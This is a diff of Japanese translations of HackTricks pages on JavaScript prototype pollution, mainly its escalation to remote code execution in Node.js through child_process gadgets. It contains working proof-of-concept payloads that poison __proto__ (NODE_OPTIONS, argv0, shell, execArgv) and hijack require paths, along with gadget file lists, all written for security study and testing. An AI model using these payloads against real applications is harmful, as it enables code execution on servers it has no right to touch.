<summary><strong>ゼロからヒーローまでのAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong>!</strong></summary> <summary><strong>AWSハッキングをゼロからヒーローまで学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong>!</strong></summary>
HackTricks をサポートする他の方法: HackTricksをサポートする他の方法
* **HackTricks で企業を宣伝したい** または **HackTricks を PDF でダウンロードしたい** 場合は [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください! * **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksのグッズ**](https://peass.creator-spring.com)を手に入れる * [**公式PEASSHackTricksスウォッグ**](https://peass.creator-spring.com)を手に入れる
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) を発見し、独占的な [**NFTs**](https://opensea.io/collection/the-peass-family)コレクションを見つける * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションを見つける
* 💬 [**Discord グループ**](https://discord.gg/hRep4RUj7f) に参加するか、[**telegram グループ**](https://t.me/peass) に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm) をフォローする * 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)をフォローする
* **ハッキングトリックを共有する** には、[**HackTricks**](https://github.com/carlospolop/hacktricks) と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) の github リポジトリに PR を提出してください。 * ハッキングトリックを共有するために、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出する
</details> </details>

View file

@ -6,21 +6,21 @@
HackTricks をサポートする他の方法: HackTricks をサポートする他の方法:
* **HackTricks で企業を宣伝したい** または **HackTricks をPDFでダウンロードしたい** 場合は [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください! * **HackTricks で企業を宣伝したい**または **HackTricks をPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksのグッズ**](https://peass.creator-spring.com)を入手してください * [**公式PEASSHackTricksのグッズ**](https://peass.creator-spring.com)を入手してください
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) のコレクションを見つけてください * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つけてください
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f) または [**telegramグループ**](https://t.me/peass) に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm) をフォローしてください** * **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)で **フォロー**してください。
* **ハッキングトリックを共有するために、** [**HackTricks**](https://github.com/carlospolop/hacktricks) [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) のGitHubリポジトリにPRを提出してください * **ハッキングトリックを共有するために、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください
</details> </details>
## 自動ツールを使用して発見する ## 自動ツールを使用して発見する
ツール [**https://github.com/dwisiswant0/ppfuzz**](https://github.com/dwisiswant0/ppfuzz?tag=v1.0.0)**,** [**https://github.com/kleiton0x00/ppmap**](https://github.com/kleiton0x00/ppmap) **および** [**https://github.com/kosmosec/proto-find**](https://github.com/kosmosec/proto-find) を使用して **プロトタイプ汚染の脆弱性を見つける** ことができます。 ツール [**https://github.com/dwisiswant0/ppfuzz**](https://github.com/dwisiswant0/ppfuzz?tag=v1.0.0)**、[**https://github.com/kleiton0x00/ppmap**](https://github.com/kleiton0x00/ppmap)**、および[**https://github.com/kosmosec/proto-find**](https://github.com/kosmosec/proto-find)**を使用して、**プロトタイプ汚染の脆弱性を見つける**ことができます。
さらに、**ブラウザ拡張機能** [**PPScan**](https://github.com/msrkp/PPScan) を使用して、**アクセスするページ**を **自動的にスキャン** して **プロトタイプ汚染の脆弱性** を検出することもできます。 さらに、**ブラウザ拡張機能** [**PPScan**](https://github.com/msrkp/PPScan)を使用して、**アクセスするページ**を**自動的にスキャン**して、プロトタイプ汚染の脆弱性を**自動的に検出**することもできます。
### プロパティが使用されている場所をデバッグする <a href="#5530" id="5530"></a> ### プロパティが使用されている場所のデバッグ <a href="#5530" id="5530"></a>
{% code overflow="wrap" %} {% code overflow="wrap" %}
```javascript ```javascript
@ -62,30 +62,30 @@ origValue = val;
debugAccess(Object.prototype, 'ppmap') debugAccess(Object.prototype, 'ppmap')
``` ```
4. **Sources**タブに戻り、「スクリプトの実行を再開」を選択します。JavaScriptは実行を続行し、「ppmap」プロパティが期待通りに汚染されます。提供されたスニペットを利用することで、「ppmap」プロパティが汚染された正確な場所を特定できます。**Call Stack**を調べることで、汚染が発生した異なるスタックを観察できます。 4. **Sources**タブに戻り、「スクリプトの実行を再開」を選択します。JavaScriptは実行を続行し、「ppmap」プロパティが期待通りに汚染されます。提供されたスニペットを使用すると、「ppmap」プロパティが汚染された正確な場所を特定できます。**Call Stack**を調べることで、汚染が発生した異なるスタックを観察できます。
調査すべきスタックを決定する際には、プロトタイプ汚染が頻繁に発生するJavaScriptライブラリファイルに関連するスタックを対象にすることがしばしば役立ちます。ライブラリファイルに関連付けられたスタックを特定するには、右側に表示されるライブラリファイルに関する情報を調べますガイダンスとして提供された画像と同様。行4と6など複数のスタックがある場合、初期の汚染発生を表す行4のスタックを選択するのが論理的な選択肢です。スタックをクリックすると、脆弱なコードに移動します。 調査すスタックを決定する際には、プロトタイプ汚染が頻繁に発生するJavaScriptライブラリファイルに関連するスタックを対象にすることがしばしば役立ちます。ライブラリファイルに関連付けられたスタックを特定するには、右側に表示されるライブラリファイルに関する情報を調べますガイダンスとして提供された画像と同様。行4と6のように複数のスタックがある場合、初期の汚染発生を表す行4のスタックを選択するのが論理的な選択肢です。スタックをクリックすると、脆弱なコードに移動します。
![https://miro.medium.com/max/1400/1\*S8NBOl1a7f1zhJxlh-6g4w.jpeg](https://miro.medium.com/max/1400/1\*S8NBOl1a7f1zhJxlh-6g4w.jpeg) ![https://miro.medium.com/max/1400/1\*S8NBOl1a7f1zhJxlh-6g4w.jpeg](https://miro.medium.com/max/1400/1\*S8NBOl1a7f1zhJxlh-6g4w.jpeg)
## スクリプトガジェットの検索 ## スクリプトガジェットの検索
ガジェットは、**PPの脆弱性が発見されたに悪用されるコード**です。 ガジェットは、**PPの脆弱性が発見されたに悪用されるコード**です。
アプリケーションがシンプルな場合、**`srcdoc/innerHTML/iframe/createElement`**などの**キーワード**を**検索**し、ソースコードを確認して**JavaScriptの実行につながるかどうか**をチェックできます。時には、これらのテクニックが全くガジェットを見つけられないこともあります。その場合、純粋なソースコードのレビューによって、以下の例のような素敵なガジェットが明らかになります。 アプリケーションがシンプルな場合、**`srcdoc/innerHTML/iframe/createElement`**などの**キーワード**を**検索**し、ソースコードを確認して**JavaScriptの実行につながるかどうか**を確認できます。時には、これらの技術を使用してもガジェットを見つけることができない場合があります。その場合、純粋なソースコードのレビューにより、以下の例のような素敵なガジェットが明らかになります。
### MithilライブラリコードでのPPガジェットの見例 ### MithilライブラリコードでのPPガジェットの見つけ方の
この解説をチェックしてください: [https://blog.huli.tw/2022/05/02/en/intigriti-revenge-challenge-author-writeup/](https://blog.huli.tw/2022/05/02/en/intigriti-revenge-challenge-author-writeup/) この解説をチェックしてください[https://blog.huli.tw/2022/05/02/en/intigriti-revenge-challenge-author-writeup/](https://blog.huli.tw/2022/05/02/en/intigriti-revenge-challenge-author-writeup/)
## 脆弱なライブラリのためのペイロードの再コンパイル ## 脆弱なライブラリのペイロードの再コンパイル
* [https://portswigger.net/web-security/cross-site-scripting/cheat-sheet#prototype-pollution](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet#prototype-pollution) * [https://portswigger.net/web-security/cross-site-scripting/cheat-sheet#prototype-pollution](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet#prototype-pollution)
* [https://github.com/BlackFan/client-side-prototype-pollution](https://github.com/BlackFan/client-side-prototype-pollution) * [https://github.com/BlackFan/client-side-prototype-pollution](https://github.com/BlackFan/client-side-prototype-pollution)
## PPを介したHTMLサニタイザーの回避 ## PPを介したHTMLサニタイザーの回避
[**この研究**](https://research.securitum.com/prototype-pollution-and-bypassing-client-side-html-sanitizers/)は、一部のHTMLサニタイザーライブラリによって提供される**サニタイズをバイパス**するために使用するPPガジェットを示しています: [**この研究**](https://research.securitum.com/prototype-pollution-and-bypassing-client-side-html-sanitizers/)は、一部のHTMLサニタイザーライブラリによって提供されるサニタイズを**バイパスする**ために使用するPPガジェットを示しています
* #### sanitize-html * #### sanitize-html
@ -130,9 +130,9 @@ document.body.append(node);
HackTricksをサポートする他の方法: HackTricksをサポートする他の方法:
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! * **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksスウォッグ**](https://peass.creator-spring.com)を入手する * [**公式PEASSHackTricksスッグ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)で**フォロー**する。 * **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)で**フォロー**する。
* **HackTricks**および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出して、あなたのハッキングトリックを共有してください。 * **HackTricks**および**HackTricks Cloud**のGitHubリポジトリにPRを提出して、あなたのハッキングテクニックを共有してください。
</details> </details>

View file

@ -1,22 +1,22 @@
# Prototype PollutionからRCEへ # Prototype Pollution to RCE
<details> <details>
<summary><strong>AWSハッキングをゼロからヒーローまで学ぶには</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>をチェック</strong></summary> <summary><strong>ゼロからヒーローまでAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
HackTricksをサポートする他の方法: HackTricksをサポートする他の方法
* **HackTricksにあなたの会社を広告したい**、または**HackTricksをPDFでダウンロードしたい**場合は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください! * **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASS & HackTricksグッズ**](https://peass.creator-spring.com)を入手する * [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションをチェックす * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションを見つけ
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に**参加する**か、[**テレグラムグループ**](https://t.me/peass)に参加する、または**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)を**フォローする**。 * **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦で**フォロー**する [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出して、あなたのハッキングのコツを**共有する**。 * **ハッキングトリックを共有するために、PRを** [**HackTricks**](https://github.com/carlospolop/hacktricks) **および** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **githubリポジトリに提出してください。**
</details> </details>
## 脆弱なコード ## Vulnerable Code
次のようなコードを使用している実際のJSを想像してください: 実際のJSが次のようなコードを使用していると想像してください:
```javascript ```javascript
const { execSync, fork } = require('child_process'); const { execSync, fork } = require('child_process');
@ -51,9 +51,9 @@ var proc = fork('a_file.js');
``` ```
## 環境変数を介したPP2RCE ## 環境変数を介したPP2RCE
**PP2RCE**は、**Prototype Pollution to RCE** (Remote Code Execution)を意味します。 **PP2RCE****Prototype Pollution to RCE**(リモートコード実行)を意味します。
この[**writeup**](https://research.securitum.com/prototype-pollution-rce-kibana-cve-2019-7609/)によると、**`child_process`**`fork`や`spawn`など)のいくつかのメソッドで**プロセスが生成される**と、新しい環境変数を作成する**プロトタイプ汚染ガジェット**である`normalizeSpawnArguments`メソッドが呼び出されます。 この[**解説記事**](https://research.securitum.com/prototype-pollution-rce-kibana-cve-2019-7609/)によると、**`child_process`** からのメソッド(`fork` や `spawn` など)を使用して **プロセスが生成**されると、`normalizeSpawnArguments` メソッドが呼び出され、新しい環境変数を作成するための **プロトタイプ汚染ガジェット** が発生します。
```javascript ```javascript
//See code in https://github.com/nodejs/node/blob/02aa8c22c26220e16616a88370d111c0229efe5e/lib/child_process.js#L638-L686 //See code in https://github.com/nodejs/node/blob/02aa8c22c26220e16616a88370d111c0229efe5e/lib/child_process.js#L638-L686
@ -73,17 +73,15 @@ ArrayPrototypePush(envPairs, `${key}=${value}`); // <-- Pollution
} }
} }
``` ```
以下のコードを確認すると、**属性 `.env` を汚染することで `envPairs`** を**毒する**ことが可能であることがわかります。 ### **`__proto__`の毒入れ**
### **`__proto__` の毒化**
{% hint style="warning" %} {% hint style="warning" %}
nodeの**`child_process`** ライブラリの **`normalizeSpawnArguments`** 関数の動作により、プロセスに新しい環境変数を**設定するためには**、何かを**汚染する**だけで良いことに注意してください。 **`node`**の**`child_process`**ライブラリからの**`normalizeSpawnArguments`**関数の動作により、プロセスのために**新しい環境変数を設定**する際には、単に**何かを汚染**する必要があります。\
例えば、`__proto__.avar="valuevar"` とすると、`avar` という名前の変数が `valuevar` の値でプロセスにスポーンされます。 たとえば、`__proto__.avar="valuevar"`とすると、プロセスは`avar`という名前の変数を値`valuevar`で生成します。
しかし、環境変数が**最初のものであるためには**、**`.env` 属性を汚染する**必要があります(そして、いくつかの方法では)、その変数が**最初のものになります**(攻撃を可能にします)。 ただし、**環境変数が最初のものになるためには**、**`.env`属性を汚染**する必要があります(一部のメソッドのみ)。その変数が**最初のもの**になります(攻撃を可能にする)。
そのため、以下の攻撃では **`NODE_OPTIONS`** が **`.env` 内にはありません** そのため、次の攻撃では**`NODE_OPTIONS`**が**`.env`内にない**ことになります
{% endhint %} {% endhint %}
{% code overflow="wrap" %} {% code overflow="wrap" %}
@ -108,9 +106,7 @@ clone(USERINPUT);
var proc = fork('a_file.js'); var proc = fork('a_file.js');
// This should create the file /tmp/pp2rec // This should create the file /tmp/pp2rec
``` ```
{% endcode %} ### `constructor.prototype` の汚染
### `constructor.prototype`の汚染
```javascript ```javascript
const { execSync, fork } = require('child_process'); const { execSync, fork } = require('child_process');
@ -133,12 +129,10 @@ var proc = fork('a_file.js');
``` ```
## 環境変数 + コマンドラインを介したPP2RCE ## 環境変数 + コマンドラインを介したPP2RCE
前述のペイロードにいくつかの変更を加えた類似のペイロードが[**このライトアップ**](https://blog.sonarsource.com/blitzjs-prototype-pollution/)で提案されました。主な違いは以下の通りです: 以前のものと似た変更が加えられたペイロードが[**この解説**](https://blog.sonarsource.com/blitzjs-prototype-pollution/)で提案されました。主な違いは次のとおりです:
* ファイル`/proc/self/environ`にNode.jsの**ペイロード**を保存する代わりに、**`/proc/self/cmdline`**の**argv0**に保存します。 - ードjsの**ペイロード**をファイル `/proc/self/environ` に保存する代わりに、**`/proc/self/cmdline`** の **argv0** に保存します。
* そして、`NODE_OPTIONS`を介してファイル`/proc/self/environ`を要求する代わりに、**`/proc/self/cmdline`**を**要求します**。 - 次に、**`NODE_OPTIONS`** を介してファイル `/proc/self/environ` を要求する代わりに、**`/proc/self/cmdline`** を要求します。
{% code overflow="wrap" %}
```javascript ```javascript
const { execSync, fork } = require('child_process'); const { execSync, fork } = require('child_process');
@ -160,11 +154,9 @@ clone(USERINPUT);
var proc = fork('a_file.js'); var proc = fork('a_file.js');
// This should create the file /tmp/pp2rec // This should create the file /tmp/pp2rec
``` ```
{% endcode %}
## DNS インタラクション ## DNS インタラクション
以下のペイロードを使用して、以前に議論した NODE\_OPTIONS 環境変数を悪用し、DNS インタラクションでそれが機能したかどうかを検出することができます: 以下のペイロードを使用すると、以前に説明した NODE_OPTIONS 環境変数を悪用して DNS インタラクションを行うことができます:
```json ```json
{ {
"__proto__": { "__proto__": {
@ -174,7 +166,7 @@ var proc = fork('a_file.js');
} }
} }
``` ```
または、ドメインを求めるWAFを避けるために または、ドメインを要求されないようにするには:
```json ```json
{ {
"__proto__": { "__proto__": {
@ -184,15 +176,13 @@ var proc = fork('a_file.js');
} }
} }
``` ```
## PP2RCE 脆弱性 child_process 関数 ## PP2RCE vuln child\_process functions
このセクションでは、**`child_process` の各関数を分析して**コード実行を試み、その関数を強制的にコードを実行させるテクニックが使えるかどうかを見ていきます: このセクションでは、`child_process`からの**各関数を分析**してコードを実行し、その関数をコードを実行するように強制するためのテクニックを使用できるかどうかを見ていきます:
<details> <details>
<summary><code>exec</code> の悪用</summary> <summary><code>exec</code> exploitation</summary>
{% code overflow="wrap" %}
```javascript ```javascript
// environ trick - not working // environ trick - not working
// It's not possible to pollute the .env attr to create a first env var // It's not possible to pollute the .env attr to create a first env var
@ -217,13 +207,9 @@ p = {}
p.__proto__.shell = "\\\\127.0.0.1\\C$\\Windows\\System32\\calc.exe" p.__proto__.shell = "\\\\127.0.0.1\\C$\\Windows\\System32\\calc.exe"
var proc = exec('something'); var proc = exec('something');
``` ```
{% endcode %}
</details>
<details> <details>
<summary><strong><code>execFile</code> の悪用</strong></summary> <summary><strong><code>execFile</code>の悪用</strong></summary>
```javascript ```javascript
// environ trick - not working // environ trick - not working
// It's not possible to pollute the .en attr to create a first env var // It's not possible to pollute the .en attr to create a first env var
@ -242,18 +228,10 @@ var proc = execFile('/usr/bin/node');
// Windows - not working // Windows - not working
``` ```
**`execFile`** が機能するためには、NODE\_OPTIONSが機能するために**必ずnodeを実行**する必要があります。 **`execFile`**が機能するには、NODE\_OPTIONSが機能するために**nodeを実行する必要があります**\
もし**nodeを実行していない**場合は、実行しているものを**環境変数**でどのように**実行変更**できるかを見つけ、それらを設定する必要があります。 もし**nodeが実行されていない**場合は、実行されているものを**環境変数で変更**して設定する方法を見つける必要があります。
**他の**技術はこの要件なしで**機能します**。なぜなら、プロトタイプ汚染を通じて**実行されるものを変更することが可能**だからです。(この場合、`.shell`を汚染できたとしても、実行されているものは汚染されません)。 他のテクニックは、これの要件なしで機能します。なぜなら、プロトタイプ汚染を通じて**実行されるものを変更することが可能**だからです。(この場合、`.shell`を汚染しても、実行されているものは汚染されません)。
</details>
<details>
<summary><code>fork</code> の悪用</summary>
{% code overflow="wrap" %}
```javascript ```javascript
// environ trick - working // environ trick - working
// Working after kEmptyObject (fix) // Working after kEmptyObject (fix)
@ -291,15 +269,11 @@ b = {}
b.__proto__.execPath = "\\\\127.0.0.1\\C$\\Windows\\System32\\calc.exe" b.__proto__.execPath = "\\\\127.0.0.1\\C$\\Windows\\System32\\calc.exe"
var proc = fork('./a_file.js'); var proc = fork('./a_file.js');
``` ```
{% endcode %}
</details> </details>
<details> <details>
<summary><strong><code>spawn</code> の悪用</strong></summary> <summary><strong><code>spawn</code>の悪用</strong></summary>
{% code overflow="wrap" %}
```javascript ```javascript
// environ trick - working with small variation (shell and argv0) // environ trick - working with small variation (shell and argv0)
// NOT working after kEmptyObject (fix) without options // NOT working after kEmptyObject (fix) without options
@ -336,15 +310,11 @@ p.__proto__.shell = "\\\\127.0.0.1\\C$\\Windows\\System32\\calc.exe"
var proc = spawn('something'); var proc = spawn('something');
//var proc = spawn('something',[],{"cwd":"C:\\"}); //To work after kEmptyObject (fix) //var proc = spawn('something',[],{"cwd":"C:\\"}); //To work after kEmptyObject (fix)
``` ```
{% endcode %}
</details> </details>
<details> <details>
<summary><strong><code>execFileSync</code>の悪用</strong></summary> <summary><strong><code>execFileSync</code>の悪用</strong></summary>
{% code overflow="wrap" %}
```javascript ```javascript
// environ trick - working with small variation (shell and argv0) // environ trick - working with small variation (shell and argv0)
// Working after kEmptyObject (fix) // Working after kEmptyObject (fix)
@ -383,13 +353,11 @@ p.__proto__.shell = "\\\\127.0.0.1\\C$\\Windows\\System32\\calc.exe"
p.__proto__.argv0 = "\\\\127.0.0.1\\C$\\Windows\\System32\\calc.exe" p.__proto__.argv0 = "\\\\127.0.0.1\\C$\\Windows\\System32\\calc.exe"
var proc = execSync('something'); var proc = execSync('something');
``` ```
{% endcode %}
</details> </details>
<details> <details>
<summary><strong><code>execSync</code> の悪用</strong></summary> <summary><strong><code>execSync</code>の悪用</strong></summary>
{% code overflow="wrap" %} {% code overflow="wrap" %}
```javascript ```javascript
@ -429,15 +397,11 @@ p = {}
p.__proto__.shell = "\\\\127.0.0.1\\C$\\Windows\\System32\\calc.exe" p.__proto__.shell = "\\\\127.0.0.1\\C$\\Windows\\System32\\calc.exe"
var proc = execSync('something'); var proc = execSync('something');
``` ```
{% endcode %}
</details> </details>
<details> <details>
<summary><strong><code>spawnSync</code> の悪用</strong></summary> <summary><strong><code>spawnSync</code>の悪用</strong></summary>
{% code overflow="wrap" %}
```javascript ```javascript
// environ trick - working with small variation (shell and argv0) // environ trick - working with small variation (shell and argv0)
// NOT working after kEmptyObject (fix) without options // NOT working after kEmptyObject (fix) without options
@ -481,24 +445,22 @@ p.__proto__.shell = "\\\\127.0.0.1\\C$\\Windows\\System32\\calc.exe"
var proc = spawnSync('something'); var proc = spawnSync('something');
//var proc = spawnSync('something',[],{"cwd":"C:\\"}); //To work after kEmptyObject (fix) //var proc = spawnSync('something',[],{"cwd":"C:\\"}); //To work after kEmptyObject (fix)
``` ```
{% endcode %}
</details> </details>
## スポーンを強制する ## Spawnの強制
前の例では、ガジェットをトリガーするためには、**`spawn` を呼び出す**機能が**存在する**必要があることを見ました(何かを実行するために使用される **`child_process`** のすべてのメソッドがそれを呼び出します)。前の例では、それ**コードの一部**でしたが、コードがそれを呼び出して**いない**場合はどうでしょうか。 前の例では、**`spawn`を呼び出す**機能が**存在する**必要があることを見ました(何かを実行するために使用される**`child_process`**のすべてのメソッドがそれを呼び出します)。前の例では、それ**コードの一部**でしたが、コードがそれを**呼び出していない**場合はどうなるでしょうか。
### require ファイルパスの制御 ### requireファイルパスの制御
この[**他のライトアップ**](https://blog.sonarsource.com/blitzjs-prototype-pollution/)では、ユーザーが実行される **`require`** のファイルパスを制御できます。そのシナリオでは、攻撃者はシステム内にある **`.js` ファイルを見つける**だけでよく、そのファイルがインポートされたときに**スポーンメソッドを実行します。**\ この[**別の解説**](https://blog.sonarsource.com/blitzjs-prototype-pollution/)では、ユーザーが**`require`**が実行されるファイルパスを制御できます。このシナリオでは、攻撃者はシステム内の**`.js`ファイル**を見つけるだけでよく、そのファイルが**インポートされるとspawnメソッドが実行される**必要があります。\
インポートされたときにスポーン関数を呼び出す一般的なファイルの例は以下の通りです インポート時にspawn関数を呼び出す一般的なファイルの例:
* /path/to/npm/scripts/changelog.js * /path/to/npm/scripts/changelog.js
* /opt/yarn-v1.22.19/preinstall.js * /opt/yarn-v1.22.19/preinstall.js
* **以下にさらにファイルを探す** * **以下のファイルをさらに見つける**
以下のシンプルなスクリプトは、関数内の呼び出しを表示しないようにするために、**パディングなしで** **child\_process** からの**呼び出し**を検索します: 次のシンプルなスクリプトは、**パディングなしで**(関数内の呼び出しを表示しないようにするため)**child\_process**からの**呼び出し**を検索します:
{% code overflow="wrap" %} {% code overflow="wrap" %}
```bash ```bash
@ -507,6 +469,8 @@ grep --with-filename -nE "^[a-zA-Z].*(exec\(|execFile\(|fork\(|spawn\(|execFileS
done done
# Note that this way of finding child_process executions just importing might not find valid scripts as functions called in the root containing child_process calls won't be found. # Note that this way of finding child_process executions just importing might not find valid scripts as functions called in the root containing child_process calls won't be found.
``` ```
{% endcode %}
<details> <details>
<summary>以前のスクリプトで見つかった興味深いファイル</summary> <summary>以前のスクリプトで見つかった興味深いファイル</summary>
@ -523,24 +487,24 @@ done
</details> </details>
### プロトタイプ汚染を利用したrequireファイルパスの設定 ### プロトタイプ汚染を使用して require ファイルパスを設定する
{% hint style="warning" %} {% hint style="warning" %}
**前の技術は**、**ユーザーが**要求されるファイルのパスを**制御することが必要です**。しかし、これは常に真実ではありません。 **前のテクニックでは**、**ユーザーが要求されるファイルのパスを制御**する必要があります。しかし、これが常に正しいとは限りません。
{% endhint %} {% endhint %}
しかし、プロトタイプ汚染の後にrequireが実行される場合、たとえあなたがrequireされるパスを**制御していなくても**、プロトタイプ汚染を悪用して異なるパスを**強制することができます**。したがって、コード行が `require("./a_file.js")``require("bytes")` のようであっても、あなたが汚染したパッケージを**要求することになります**。 ただし、プロトタイプ汚染の後に require を実行するコードの場合、要求されるパスを制御していなくても、プロトタイプ汚染を悪用して異なるパスを強制的に指定できます。そのため、コード行が `require("./a_file.js")` または `require("bytes")` のようであっても、**汚染したパッケージが要求されます**。
したがって、あなたのプロトタイプ汚染の後にrequireが実行され、spawn関数がない場合、これが攻撃です したがって、プロトタイプ汚染の後に require が実行され、spawn 関数がない場合、攻撃は次のとおりです。
* システム内の**`.js` ファイルを見つける**ことで、**要求されたときに** `child_process` を使用して何かを**実行します** * システム内の **`.js` ファイルを見つける**`child_process` を使用して何かを実行する)
* 攻撃しているプラットフォームにファイルをアップロードできる場合は、そのようなファイルをアップロードすることができます * 攻撃対象のプラットフォームにファイルをアップロードできる場合は、そのようなファイルをアップロードする
* **`.js` ファイルの要求ロードを強制する**ためにパスを汚染します。これにより、child\_processで何かを実行します * **パスを汚染**して、`child_process` を使用して何かを実行する **`.js` ファイルの require 読み込みを強制**する
* child\_process実行関数が呼び出されたときに任意のコードを実行するために、**環境/cmdlineを汚染します**(初期の技術を参照) * `child_process` 実行関数が呼び出されたときに任意のコードを実行するために **環境/cmdline を汚染**する(初期のテクニックを参照)
#### 絶対require #### 絶対 require
実行されるrequireが**絶対**`require("bytes")`)であり、**パッケージに`package.json` ファイル内にmainが含まれていない**場合、**`main` 属性を汚染する**ことができ、**異なるファイルの実行を要求する**ことができます。 実行される require が **絶対**`require("bytes")`)であり、`package.json` ファイルに **main が含まれていない**場合、**`main` 属性を汚染**して **別のファイルを require する**ことができます。
{% tabs %} {% tabs %}
{% tab title="exploit" %} {% tab title="exploit" %}
@ -579,12 +543,9 @@ const { fork } = require('child_process');
console.log("Hellooo from malicious"); console.log("Hellooo from malicious");
fork("anything"); fork("anything");
``` ```
{% endtab %} #### 相対的な要求 - 1
{% endtabs %}
#### 相対パスの require - 1 **絶対パス**の代わりに**相対パス**がロードされる場合、nodeに**異なるパスをロード**させることができます:
**相対パス**が絶対パスの代わりにロードされる場合、nodeに**異なるパスをロード**させることができます:
{% tabs %} {% tabs %}
{% tab title="exploit" %} {% tab title="exploit" %}
@ -621,14 +582,10 @@ const { fork } = require('child_process');
console.log("Hellooo from malicious"); console.log("Hellooo from malicious");
fork('/path/to/anything'); fork('/path/to/anything');
``` ```
{% endtab %} #### 相対的な要求 - 2
{% endtabs %}
#### 相対パスによるrequire - 2
{% tabs %} {% tabs %}
{% tab title="エクスプロイト" %} {% tab title="exploit" %}
{% code overflow="wrap" %}
```javascript ```javascript
// Create a file called malicious.js in /tmp // Create a file called malicious.js in /tmp
// Contents of malicious.js in the other tab // Contents of malicious.js in the other tab
@ -663,12 +620,9 @@ const { fork } = require('child_process');
console.log("Hellooo from malicious"); console.log("Hellooo from malicious");
fork('/path/to/anything'); fork('/path/to/anything');
``` ```
{% endtab %} #### 相対的な要求 - 3
{% endtabs %}
#### Relative require - 3 前回と同様に、これは[**この解説**](https://blog.huli.tw/2022/12/26/en/ctf-2022-web-js-summary/#balsn-ctf-2022-2linenodejs)で見つかりました。
前述のものと似ていますが、[**このライトアップ**](https://blog.huli.tw/2022/12/26/en/ctf-2022-web-js-summary/#balsn-ctf-2022-2linenodejs)で見つかりました。
```javascript ```javascript
// Requiring /opt/yarn-v1.22.19/preinstall.js // Requiring /opt/yarn-v1.22.19/preinstall.js
Object.prototype["data"] = { Object.prototype["data"] = {
@ -687,19 +641,19 @@ Object.prototype.env = {
